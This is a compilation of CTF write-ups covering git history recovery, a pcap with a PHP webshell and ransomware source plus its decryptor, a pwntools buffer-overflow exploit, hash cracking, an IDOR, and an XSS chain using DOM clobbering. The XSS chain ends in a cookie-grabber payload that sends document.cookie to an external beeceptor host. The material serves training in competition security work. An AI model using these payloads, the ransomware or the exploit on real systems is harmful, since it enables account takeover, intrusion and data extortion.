http://meme-stash.darkarmy.xyz/.git/objects/51/f6f6560cf4edd5f6f8b59c141c3dbce916a20b [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/d6/c0c5a409c9ec655a8dde53f1d998f723a90fcb [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/ee/bd2bb56a17352de1e6cc9b3aee66fe8a2cdb5e [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/2e/fb9de5b8bae537662db67ae959c828c95496b4 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/a0/ecc15b44e86be4472eec30a2947f568f00f5b0 [200][-] Fetching http://meme-stash.darkarmy.xyz/.git/objects/ba/a389503d746fe8977f7f888ba72f280891e6bd [200][-] Running git checkout .```
With `git log` you can discover a commit (i.e. `747f8b0e2915bb6185848e2a27b6cb2e37be6d83`) with a suspect message (i.e. `oops`).
```root@m3ss4p0:~/Tools/git-dumper# cd ../../meme-stash/meme-stashroot@m3ss4p0:~/meme-stash/meme_stash# git logcommit 747f8b0e2915bb6185848e2a27b6cb2e37be6d83 (HEAD -> main, origin/main, origin/HEAD)Author: karma9874 <[email protected]>Date: Wed Feb 3 16:45:49 2021 +0530
oops
commit 146831302c94e3dfed16c9a90baed8770a82b544Author: karma9874 <[email protected]>Date: Wed Feb 3 16:44:57 2021 +0530
added some memes xD
commit e1287a203c205104af6474d8ba188366653b772cAuthor: karma9874 <[email protected]>Date: Wed Feb 3 16:44:10 2021 +0530
added js and css
commit eebd2bb56a17352de1e6cc9b3aee66fe8a2cdb5eAuthor: karma9874 <[email protected]>Date: Wed Feb 3 16:42:22 2021 +0530
added html file```
Probably the flag was present before that commit and has been removed. For this reason you can compare commits.
```root@m3ss4p0:~/meme-stash/meme_stash# git diff 747f8b0e2915bb6185848e2a27b6cb2e37be6d83 146831302c94e3dfed16c9a90baed8770a82b544diff --git a/index.html b/index.htmlindex 9101055..d6c0c5a 100644--- a/index.html+++ b/index.html@@ -46,6 +46,10 @@ </div> + <div class="slide" style="background: #7edf10;">+ + </div>+ <span> </span>@@ -54,7 +58,7 @@ </div> <div id="dots-con"> <span></span><span></span><span></span><span></span><span></span>- <span></span><span></span><span></span><span></span>+ <span></span><span></span><span></span><span></span><span></span> </div> <script src="./script.js"></script>diff --git a/meme_stash/flag.jpg b/meme_stash/flag.jpgnew file mode 100644index 0000000..a0ecc15Binary files /dev/null and b/meme_stash/flag.jpg differ```
The previous commit (i.e. `146831302c94e3dfed16c9a90baed8770a82b544`) contained the flag. You can restore that file checking out the commit.
```root@m3ss4p0:~/meme-stash/meme_stash# git checkout 146831302c94e3dfed16c9a90baed8770a82b544root@m3ss4p0:~/meme-stash/meme_stash# ls1.jpg 2.jpg 3.jpg 4.jpg 5.jpg 6.jpg 7.jpeg 8.jpeg 9.jpg flag.jpg```
The flag is the following.
```darkCON{g1t_d4_fl4g}``` |
### DaVinci CTF 2021 - Art galerie (24 solves) 97 points
We've got a network capture, once opened with wireshark we see lot of request, by looking at them we found that they is a Nikto scan with LOT of requests (useless for this chall)
We want to retrieve this file: flag_sur_fond_de_soleil_couchant.jpg
We have to find AES key in order to decode flag exfiltration (at tcpstream 1161)
We could also see a php webshell (at /uploads/helper.php), bad guy used to communicated with the webshell by :```GET /uploads/helper.php HTTP/1.1Host: galery.artAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36;cm0gdGVzdC5qcGcucGhw````cm0gdGVzdC5qcGcucGhw = rm test.jpg.php`
By follow all commands we could retrieve a python script named ransom_v1.py:```python=#!/usr/bin/python3from Crypto.Cipher import AESimport time, osfrom hashlib import md5
BS = 128pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode("utf-8")key = b"RLY_SECRET_KEY_!"iv = md5((b"%d" % time.time()).zfill(16)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
files = os.listdir(".")
for file in files: ext = file.split(".")[-1] if os.path.isdir(file) != True and (ext == "png" or ext == "jpg"): with open(file, "rb") as f: data = f.read() with open(file, "wb") as f: f.write(cipher.encrypt(pad(data))) with open("RANSOM_README.txt","wb") as f: f.write(b"""All your works of art have been encrypted with military grade encryption ! To recover them, please send 1000000000 bitcoins to 12nMSc17YjeD6fSQDjab8yfmV7b6qbKRS9Do not try to find me (I use VPN and d4rkn3t to hide my ass :D) !!""")```
We need to find the timestamp when the script was executed, by looking into commands passed to the webshell we could find this one:python3 ./ransom_v1.py `at Thu, 28 Jan 2021 14:35:09 GMTtimestamp = 1611844509`
```python=#!/usr/bin/python3#!/usr/bin/python3from Crypto.Cipher import AESimport time, osfrom hashlib import md5
time = 1611844509 #Timestamp ./ransom_v1.pyt = b"\xff\xd8" #2 first byte of a .jpg file headerBS = 128pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode("utf-8")key = b"RLY_SECRET_KEY_!"data = open("flag_sur_fond_de_soleil_couchant.jpg", "rb").read() out = Noneiv = md5((b"%d" % (time)).zfill(16)).digest()cipher = AES.new(key, AES.MODE_CBC, iv)o = cipher.decrypt(pad(data))
for i in range(1000): #in case there is a mismatch with timestamp iv = md5((b"%d" % (time+i)).zfill(16)).digest() cipher = AES.new(key, AES.MODE_CBC, iv) o = cipher.decrypt(pad(data)) if o[:2] == t: out=data print("found") with open("flag_sur_fond_de_soleil_couchantFinal.jpg", "wb") as f: f.write(o) break ````Then we retrieve a file, but not a valid .jpg file as we wanted, but we could see some few sentences that make sense, so :` $ strings flag_sur_fond_de_soleil_couchantFinal.jpg| grep dvCTF{`
and we found the flag:
`dvCTF{t1m3_i5_n0t_r4nd0m_en0ugh}`
|
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## Ret2Basic
> **Description** : *Cay you return to win?*> > **Author**: *Author: @M_alpha#3534* > >**Points**: *50 points*>
### *Static Analysis*
- Using the `file` command we can see that the binary is an 64-bit ELF binary that is `not stripped` and that is `dynamically linked`.- Using `rabin2 -i chall` we can see the imports and we can see `gets` this obviously shows there is a buffer overfow vulnerability in the program.- `rabin2 -I chall` This will give us more info about the binary including the backended programming language that was used to write the program- `rabin2 -z chall`: There is an interesting`flag.txt` this is an indication that there is a function that opens and reads the flag- `checksec` Only NX is enabled in the binary therefore not much protections.
### *Dynamic Analysis*- Running the binary not much just a statement `can you overflow this?:` this gets our input and exits. - Load your favourite debugger and get to work. We can see a function `win` in the binary at the address `0x401215` disassembling this function this is what opens the `flag.txt` file.- Our input is passed to `gets` as predicted earlier and therefore a `bof` therefore we can call `win` and control `rip` because no `stack canaries`.- That was easy right :P
### *Exploitation*
- The offset is `120` therefore if we load a payload `"A"*120 + <address_of_win>` we call win that reads the flag. Therefore the exploit is a followsusing `python and pwntools`.```#!/usr/bin/python3
from pwn import *
#io = process("./chall")io = remote("challenge.nahamcon.com", 30413)elf = ELF("./chall")offset = 120
def main(): payload = b"A"*offset payload += p64(elf.sym.win) io.sendlineafter(":", payload) io.interactive()
if __name__ == "__main__": main()#flag{d07f3219a8715e9339f31cfbe09d6502``` |
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</body></html>
|
## Solution[The Hacker Manifesto](http://phrack.org/issues/7/3.html) is an essay written in 1986 by The Mentor and published in Phrack. Viewing `hacker_manifesto.txt` we see the beginning of The Hacker Manifesto, but after the first few words the text turns into gibberish. We also notice that letters start disappearing after they have been used (such as the `a` before `hacker` and the `a` in `hacker`). This suggests some kind of compression algorithm that references previously seen byte strings in the file. Looking closer at the first few characters of the file, we notice that printable bytes occurs every three bytes. If the byte appears as we would expect, it is preceded by `0x0000`. When a letter is missing, the next letter is prepended by a non-zero two byte string. Since it appears that we are looking at bytes in groups of 3, let's regroup with `xxd` to make this easier to see with the command `xxd -g 3 -c 15 hacker_manifesto.txt|less`:```00000000: 000049 000020 000061 00006d 030820 ..I.. ..a..m.. 0000000f: 000068 030463 00006b 000065 000072 ..h..c..k..e..r0000001e: 00002c 080465 00006e 000074 070820 ..,..e..n..t.. 0000002d: 120479 030477 00006f 07046c 000064 ..y..w..o..l..d0000003c: 00002e 01042e 00000a 00004d 000069 ...........M..i0000004b: 130465 0e0469 000073 240c77 131020 ..e..i..s$.w.. 0000005a: 200468 0a0474 050462 130467 170873 .h..t..b..g..s00000069: 120869 0e0820 070463 04046f 01046c ..i.. ..c..o..l...```Let's start decoding this by hand before we develop a script to finish the process. If the first two bytes of a group are `0x0000`, we copy the third byte directly and move on. This results in the first few bytes:```4920 616d'I am'```The first "missing" byte occurs at offset `0xc`: `0x030820`. If we assume that the first byte is the number of bytes to look back, and the second byte is the number of bytes to copy, this doesn't work out correctly. This is because rather than 8 bits being used for the offset and 8 bits for the length, the algorithm uses a 10 bit offset and 6 bit length. First, let's rewrite `0x0308` in little-endian binary notation:```11000000 00010000```
If these bits are interpreted using 10 bits for the offset, and 6 bits for the length, we get:```1100000000 010000```
This represents an offset of 3 and a length of 2. Copying 2 bytes from 3 bytes back and appending the third byte of the group (`0x20`) gives us:```4920 616d 2061 20'I am a '```
If we continue this process for the rest of the file, the message decompresses to the Hacker Manifesto and we see the flag towards the end.
## Flag**flag{TheMentorArrested}** |
## web
### Source it!Description:*Can you see how this page handles authentication?*
http://web1.utctf.live:8778/
When we look at the front page we have a login portal. As it says in the title, lets check out the source.
OK, the source gives us some code. It looks like we need to put in the password that equates to a hash. Luckily it also tells us the user should be 'admin'.
```html<script src\="[assets/js/main.js](http://web1.utctf.live:8778/assets/js/main.js)"></script>
<script>function checkPassword(form) {password1 = form.password1.value;name = form.name.value;var username = "admin";var hash = "1bea3a3d4bc3be1149a75b33fb8d82bc";var hashedPasswd = CryptoJS.MD5(password1);if (password1 == '')alert ("Please enter Password");else if (username != name) {alert ("\\nYou lack access privlages...")return false;```
As well as telling us the hash, it also suggests that it is a variant of MD5. Let's look at some online hash cracking sites.
Lets use the first one and check our hash.
Now we have our username and password, lets type it in and see what we get.
Flagutctf{b33n_th3r3_s0uRc3d_th4t}
### OinkerDescription:*I found this cool more private alternative to twitter.*
http://web2.utctf.live:5320/
Our hjint for this challenge was:*Post two phrases with the same text and notice what changes between them*
This takes us to a page that has a text box.
If we submit a test, it displays it on the webpage.
However we do notice after the earlier hint, it looks as though the browser url changes each time.
If we do it again, it goes up by one number showing us what other people have added.
I simply started at one, which indicated a test.
I thent went to number two and it gave me the flag.
Flagutflag{traversal_bad_dude}
I did also try using a python code to get the same answer.```pythonimport requests# Range set between 1 and 100 incremented by 1for oink in range(1,100,1): print(oink) # just to see what it shows html = requests.get(f'http://web2.utctf.live:5320/oink/{oink}') print(html.text)```This provided me with a lot of html code.```html3
<title> Oinker </title><style>body { background-color: #ffc0cb;}</style>
<body>
<h1> Oinker </h1>
<h2> do y'all like our logo? </h2>```So looking at what it produces, the text is in the 'h2' header within the body. This being the case I just piped it into grep, where I asked for all 'h2', which made searching easier.
```html~$ python3 test1.py | grep '<h2>' <h2> testing oink </h2> <h2> utflag{traversal_bad_dude} </h2> <h2> do y'all like our logo? </h2> <h2> oink </h2> <h2> oink </h2> <h2> b </h2> <h2> z </h2> <h2> i </h2> <h2> qw </h2> <h2> oink </h2> <h2> oink1 </h2> <h2> -- oink1c3 </h2> <h2> -- oink1c3 </h2> <h2> qwddqdqdqd </h2>```
|
# zer0pts CTF 2021 – Simple Blog
* **Category:** web* **Points:** 192
## Challenge
> Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?> > http://web.ctf.zer0pts.com:8003/> > author:st98
## Solution
The challenge gives you an [attachment](https://github.com/m3ssap0/CTF-Writeups/blob/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog_1bfee2f68d1fbeec74729e11cae31aab.tar.gz?raw=true) containing the source code. The most important files are [`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php) and [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php).
Analyzing the website, you can discover the following message under the "Report Vulnerability" section.
> If you find a vulnerability in my blog platform, please report a Proof of Concept that exfiltrates document.cookie to me. I will check the URL with Mozilla Firefox later.> > I only accept reports under /index.php, so please submit only GET paremeters. For example, if the URL you want to submit is http://example.com/index.php?theme=light, please submit only theme=light part.
So, given this message and the challenge description, it's pretty obvious that the target of the challenge is to exploit some sort of *Reflected XSS*.
The website allows the possibility to change the theme via a URL parameter.
Passing a value for the `theme` parameter will reflect the passed value in some parts of the webpage.
```GET /?theme=foo HTTP/1.1Host: web.ctf.zer0pts.com:8003Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
HTTP/1.1 200 OKDate: Sat, 06 Mar 2021 01:17:41 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.4.13Vary: Accept-EncodingContent-Length: 2957Connection: closeContent-Type: text/html; charset=UTF-8
<html lang="en"> <head> <meta charset="utf-8"> <title>Simple Blog</title> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-DZ5mzla/D4n5wZNlTB5qQwurzU4=' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default"> <link rel="stylesheet" href="/css/bootstrap-foo.min.css"> <link rel="stylesheet" href="/css/style.css"> </head> <body> <div class="container"> <nav class="navbar navbar-expand-lg navbar-foo bg-foo"> Simple Blog Report Vulnerability Toggle theme </nav> </div> <main class="container" id="main"> <div class="spinner-border" id="loading"> <span>Loading...</span> </div> </main> <script src="/js/trustedtypes.build.js" nonce="DZ5mzla/D4n5wZNlTB5qQwurzU4=" data-csp="require-trusted-types-for 'script'; trusted-types default"></script> <script nonce="DZ5mzla/D4n5wZNlTB5qQwurzU4="> // JSONP const jsonp = (url, callback) => { const s = document.createElement('script');
if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; }
document.body.appendChild(s); };
// render articles const render = articles => { const main = document.getElementById('main'); const loading = document.getElementById('loading');
articles.sort((a, b) => a.id - b.id); for (const article of articles) { const elm = document.createElement('article'); elm.classList.add('blog-post');
const title = document.createElement('h2'); title.innerHTML = article.title; elm.appendChild(title);
const content = document.createElement('p'); content.innerHTML = article.content; elm.appendChild(content);
main.appendChild(elm); }
loading.remove(); };
// initialize blog const init = () => { // try to register trusted types try { trustedTypes.createPolicy('default', { createHTML(url) { return url.replace(/[<>]/g, ''); }, createScriptURL(url) { if (url.includes('callback')) { throw new Error('custom callback is unimplemented'); }
return url; } }); } catch { if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } }
// TODO: implement custom callback jsonp('/api.php', window.callback); };
init(); </script> </body></html>```
You can pass a `callback` parameter to the [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php) endpoint and the method will be reflected into the output. The length limit is 20 chars.
```GET /api.php?callback=foo HTTP/1.1Host: web.ctf.zer0pts.com:8003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: */*Referer: http://web.ctf.zer0pts.com:8003/Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
HTTP/1.1 200 OKDate: Sat, 06 Mar 2021 01:08:52 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.4.13Vary: Accept-EncodingContent-Length: 569Connection: closeContent-Type: application/javascript
foo([{"id":1,"title":"Hello, world!","content":"Welcome to my blog platform!"},{"id":2,"title":"Lorem ipsum","content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."}])```
Theoretically, the following payload would give an XSS, but it is blocked by the CSP.
```GET /?theme=dark.min.css"><script>alert()</script>< HTTP/1.1Host: web.ctf.zer0pts.com:8003Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
HTTP/1.1 200 OKDate: Sat, 06 Mar 2021 01:19:19 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.4.13Vary: Accept-EncodingContent-Length: 3065Connection: closeContent-Type: text/html; charset=UTF-8
<html lang="en"> <head> <meta charset="utf-8"> <title>Simple Blog</title> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-gGLouNdYKt4a0tKHwIOwMDc9Giw=' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default"> <link rel="stylesheet" href="/css/bootstrap-dark.min.css"><script>alert()</script><.min.css"> <link rel="stylesheet" href="/css/style.css"> </head> <body> <div class="container"> <nav class="navbar navbar-expand-lg navbar-dark.min.css"><script>alert()</script>< bg-dark.min.css"><script>alert()</script><"> Simple Blog Report Vulnerability Toggle theme </nav> </div> <main class="container" id="main"> <div class="spinner-border" id="loading"> <span>Loading...</span> </div> </main> <script src="/js/trustedtypes.build.js" nonce="gGLouNdYKt4a0tKHwIOwMDc9Giw=" data-csp="require-trusted-types-for 'script'; trusted-types default"></script> <script nonce="gGLouNdYKt4a0tKHwIOwMDc9Giw="> // JSONP const jsonp = (url, callback) => { const s = document.createElement('script');
if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; }
document.body.appendChild(s); };
// render articles const render = articles => { const main = document.getElementById('main'); const loading = document.getElementById('loading');
articles.sort((a, b) => a.id - b.id); for (const article of articles) { const elm = document.createElement('article'); elm.classList.add('blog-post');
const title = document.createElement('h2'); title.innerHTML = article.title; elm.appendChild(title);
const content = document.createElement('p'); content.innerHTML = article.content; elm.appendChild(content);
main.appendChild(elm); }
loading.remove(); };
// initialize blog const init = () => { // try to register trusted types try { trustedTypes.createPolicy('default', { createHTML(url) { return url.replace(/[<>]/g, ''); }, createScriptURL(url) { if (url.includes('callback')) { throw new Error('custom callback is unimplemented'); }
return url; } }); } catch { if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } }
// TODO: implement custom callback jsonp('/api.php', window.callback); };
init(); </script> </body></html>```
The CSP is the following (defined in the `meta` tag of [`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php)) and it can't be bypassed easily.
```default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-gGLouNdYKt4a0tKHwIOwMDc9Giw=' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default```
First of all: you have to use Firefox for your testing phase, because the admin will use that browser.
The most important part of [`index.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/index.php) is the following JavaScript.
```javascript // JSONP const jsonp = (url, callback) => { const s = document.createElement('script');
if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; }
document.body.appendChild(s); };
// render articles const render = articles => { const main = document.getElementById('main'); const loading = document.getElementById('loading');
articles.sort((a, b) => a.id - b.id); for (const article of articles) { const elm = document.createElement('article'); elm.classList.add('blog-post');
const title = document.createElement('h2'); title.innerHTML = article.title; elm.appendChild(title);
const content = document.createElement('p'); content.innerHTML = article.content; elm.appendChild(content);
main.appendChild(elm); }
loading.remove(); };
// initialize blog const init = () => { // try to register trusted types try { trustedTypes.createPolicy('default', { createHTML(url) { return url.replace(/[<>]/g, ''); }, createScriptURL(url) { if (url.includes('callback')) { throw new Error('custom callback is unimplemented'); }
return url; } }); } catch { if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } }
// TODO: implement custom callback jsonp('/api.php', window.callback); };
init();```
The process works as follow:1. a [`trusted-types`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types) policy is created;2. the `jsonp` method is invoked;3. the `jsonp` method calls [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php) passing the content of `window.callback`, if specified;4. [`api.php`](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Simple%20Blog/simple_blog/web/www/api.php) returns a JavaScript snippet that will be included in the webpage and it will be executed, because it is considered "safe" for all defined policies;5. the default method that will be executed is the `render` one, that will print blog posts into the page.
As a consequence, if it is possible to define `window.callback` you can execute an arbitrary JavaScript payload.
This can be achieved with a technique called [*DOM clobbering*](https://portswigger.net/web-security/dom-based/dom-clobbering). With this technique, the `window.callback` can be the reference to an HTML object with `id="callback"`, so a payload like the following can be used.
```GET /?theme=dark.min.css%22%3E%3Cdiv+id=%22callback%22%3Efoo%3C/div%3E%3C HTTP/1.1Host: web.ctf.zer0pts.com:8003Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
HTTP/1.1 200 OKDate: Sat, 06 Mar 2021 01:33:35 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.4.13Vary: Accept-EncodingContent-Length: 3077Connection: closeContent-Type: text/html; charset=UTF-8
<html lang="en"> <head> <meta charset="utf-8"> <title>Simple Blog</title> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; script-src 'nonce-uA0mbXM3XN0qqrr9Ln1E26ka/tE=' 'strict-dynamic'; require-trusted-types-for 'script'; trusted-types default"> <link rel="stylesheet" href="/css/bootstrap-dark.min.css"><div id="callback">foo</div><.min.css"> <link rel="stylesheet" href="/css/style.css"> </head> <body> <div class="container"> <nav class="navbar navbar-expand-lg navbar-dark.min.css"><div id="callback">foo</div>< bg-dark.min.css"><div id="callback">foo</div><"> Simple Blog Report Vulnerability Toggle theme </nav> </div> <main class="container" id="main"> <div class="spinner-border" id="loading"> <span>Loading...</span> </div> </main> <script src="/js/trustedtypes.build.js" nonce="uA0mbXM3XN0qqrr9Ln1E26ka/tE=" data-csp="require-trusted-types-for 'script'; trusted-types default"></script> <script nonce="uA0mbXM3XN0qqrr9Ln1E26ka/tE="> // JSONP const jsonp = (url, callback) => { const s = document.createElement('script');
if (callback) { s.src = `${url}?callback=${callback}`; } else { s.src = url; }
document.body.appendChild(s); };
// render articles const render = articles => { const main = document.getElementById('main'); const loading = document.getElementById('loading');
articles.sort((a, b) => a.id - b.id); for (const article of articles) { const elm = document.createElement('article'); elm.classList.add('blog-post');
const title = document.createElement('h2'); title.innerHTML = article.title; elm.appendChild(title);
const content = document.createElement('p'); content.innerHTML = article.content; elm.appendChild(content);
main.appendChild(elm); }
loading.remove(); };
// initialize blog const init = () => { // try to register trusted types try { trustedTypes.createPolicy('default', { createHTML(url) { return url.replace(/[<>]/g, ''); }, createScriptURL(url) { if (url.includes('callback')) { throw new Error('custom callback is unimplemented'); }
return url; } }); } catch { if (!trustedTypes.defaultPolicy) { throw new Error('failed to register default policy'); } }
// TODO: implement custom callback jsonp('/api.php', window.callback); };
init(); </script> </body></html>```
But this will trigger the error: `custom callback is unimplemented`. That happens because, in the CSP, there is the definition of `default` trusted type which is defined in the `init()` JavaScript function in the page.
The *DOM clobbering* technique can help you again. Here some references that can be useful to understand how it works:* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)* [https://portswigger.net/research/dom-clobbering-strikes-back](https://portswigger.net/research/dom-clobbering-strikes-back)* [https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94](https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94)* [https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41](https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41)
The first step is to inject via *DOM clobbering* a `trustedType` object in order to override the one provided by the library. An exception will be thrown and the `catch` in the `init()` method will be reached. To bypass the `if` clause inside the `catch`, it is sufficient to use again the *DOM clobbering*, using a payload like the following.
```htmldark.min.css"><form id=trustedTypes><output id=defaultPolicy>true</output></form><"```
Now you can call the the api.php endpoint specifying a callback. A payload like the following can give a basic XSS.
```htmldark.min.css"><form id=trustedTypes><output id=defaultPolicy>true</output></form><"```
Beacause the result request will be the following.
```GET /api.php?callback=//%0Aalert(); HTTP/1.1Host: web.ctf.zer0pts.com:8003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://web.ctf.zer0pts.com:8003/?theme=dark.min.css%22%3E%3Cform%20id=trustedTypes%3E%3Coutput%20id=defaultPolicy%3Etrue%3C/output%3E%3C/form%3E%3Ca%20id=callback%20href=//%250Aalert();%3E%3C/a%3E%3C%22
HTTP/1.1 200 OKDate: Sat, 06 Mar 2021 14:03:22 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.4.13Vary: Accept-EncodingContent-Length: 577Connection: closeContent-Type: application/javascript
//alert();([{"id":1,"title":"Hello, world!","content":"Welcome to my blog platform!"},{"id":2,"title":"Lorem ipsum","content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."}])```
You can use `jsonp` method itself to perform cross-origin request, getting the URL via *DOM clobbering* to bypass the maximum length.
```htmldark.min.css"><form id=trustedTypes><output id=defaultPolicy>true</output></form>.free.beeceptor.com/><"```
Analyzing the final webpage after the request, you can discover that with `jsonp` method the response of the cross-origin call is included in the page source and treated like an allowed JavaScript.
So you can create two endpoints:* `/evil/` that will be called by the `jsonp` method and will return a cookie grabber script;* `/cookie/` that will be called by the cookie grabber script to exfiltrate cookies.
The cookie grabber script is the following. You have to set `Content-Type: application/javascript`.
```javascriptdocument.location='https://<REDACTED>.free.beeceptor.com/cookie/'+btoa(document.cookie)```
So the final payload to submit is the following.
```htmltheme=dark.min.css"><form id=trustedTypes><output id=defaultPolicy>true</output></form>.free.beeceptor.com/evil/><"```
Under the `/cookie/` endpoint you will find the base64 encoded cookies with the flag.
```ZmxhZz16ZXIwcHRzezFfdzRudF90MF9lNHRfZDBtX2QwbV9oNG1idXJnZXJfczBtZWQ0eX0=```
Decoding it.
```flag=zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}``` |
# DefCamp CTF 2020 – am-I-crazy
* **Category:** web* **Points:** ?
## Challenge
> You might see but you cannot feel.> > Flag format: CTF{sha256}> > The challenge was proposed by BIT SENTINEL.> > 35.198.103.37:31239
## Solution
The page will show the following HTML code.
```html
<head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content="">
<title>AM-I-CRAZY</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container">
<div class="jumbotron"> <h1 class="display-3">AM I CRAZY</h1> Use a random password and the bellow button to generate or restore to the initial state the challenge. <form method="POST" action="/"> <div class="form-group" style=""><label>Password:</label><input pattern=".{8,}" name="password" type="password" class="form-control" style="display: block; position: static; float: none;" required></div> <button type="submit" class="btn btn-lg btn-success" href="#" role="button">Generate</button> </form> </div>
Use a random password and the bellow button to generate or restore to the initial state the challenge. <form method="POST" action="/"> <div class="form-group" style=""><label>Password:</label><input pattern=".{8,}" name="password" type="password" class="form-control" style="display: block; position: static; float: none;" required></div>
<button type="submit" class="btn btn-lg btn-success" href="#" role="button">Generate</button>
</div>
</body></html>```
You have to insert a password with at least 8 chars.
Inserting 8 `a`s will open the following URL `http://35.198.103.37:31239/secrets/64f79ab242648e5c493c6af52ee4469a/index.php` with the following content.
